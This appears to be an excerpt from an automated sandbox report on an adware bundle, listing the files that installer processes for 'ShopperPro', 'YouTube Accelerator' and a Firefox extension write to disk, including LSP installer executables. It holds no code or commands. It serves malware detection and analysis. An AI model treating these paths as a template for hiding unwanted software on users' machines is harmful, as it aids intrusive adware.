C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0038b46748135f573d9da9c7a22b459b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ea382151f62759c40d2962e71cf968b7.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\6a16e5862721a35efd4d1737efdb1fdb.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\60fb5a443fa32eefd0e57ef854f07b90.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e5b77254d8cf8d5c85d8029e1075a83f.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5543c20a9fbd3f698416c6f5ff21b475.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4f4b7a2073cd9abd4459204186e7e616.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\81f3cb38e2ea18137c42a65d9a9b0d5b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\b005c0b6403b92e51ed0d2df87c46d8c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2f3a4295e45000ff581428f5a392c997.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6f6ddae75f4dfd10484c1b1af5434ec0.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\a002d8e4aac391571673f89debb98981.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d3e1144f305cee36ae86fdc5da5ff240.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d4ac61be87d6070244cba9adfc15f5a6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\38d5d7e2899caee8b1403fc49fc1f443.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b459364afc554976c061143dfe6247bc.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a109e0d3562bf58b1bc38e3f11a2d948.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\35ea50211f5f8185ca5f9f25b7b5ff05.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3151b95e2ccb9400ec07ed66f73f2a50.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\72b84d354e02a619356ba1e8bc381e84.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\326e8126e93f18fd5854b59851ee6a9a.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\030686ec26967057d00d1a486c91f70b.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f730ac4e4d6254ed026e2e4fb3d438e1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ba1c00ee16b0d37a2bc56fbb8a2184fd.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2d2a92368d43251ea5ca5e1b98d479e9.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\694e7e17d1ca1dd34d9e65800c1f8a83.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c29b8175f0d066df377f6300a7c0b43d.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\31afc1948493419e1faa40dbaa815b6a.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b688485a44fd72827a7016f383acdcee.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\34933b5f955d1bfd9d54fcde013d6077.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9f9e2255091459807b0fad9f80382b4c.js (6 bytes)

The process 3513.tmp:3180 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\NSISEncrypt.dll (3332 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\nsJSON.dll (15 bytes)

The process DCytaiesmt_smtyc_setup.exe:3496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_shopperpro.exe (20404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_yta.exe (38928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_22120\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_iwebar.exe (50630 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_sense.exe (48181 bytes)

The process DCytaiesmt_smtyc_setup.exe:3404 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_3136\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process spbiu.exe:3624 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1548 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:588 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process INS_SENSE.EXE:3208 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\lgtote.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\Vsinacdcq.tmp (394008 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\Tfjrhcyiqi.exe (2191823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\xlinghf.dll (2092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\ukrfuo.dll (30 bytes)

The process GLBECE.tmp:3832 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJF1D.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF174D.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG174C.tmp (93076 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK1121.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM1335.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCF0D.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)

The process 7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe:4480 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2ed5403f891d7fadac42715d4fd8e683.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
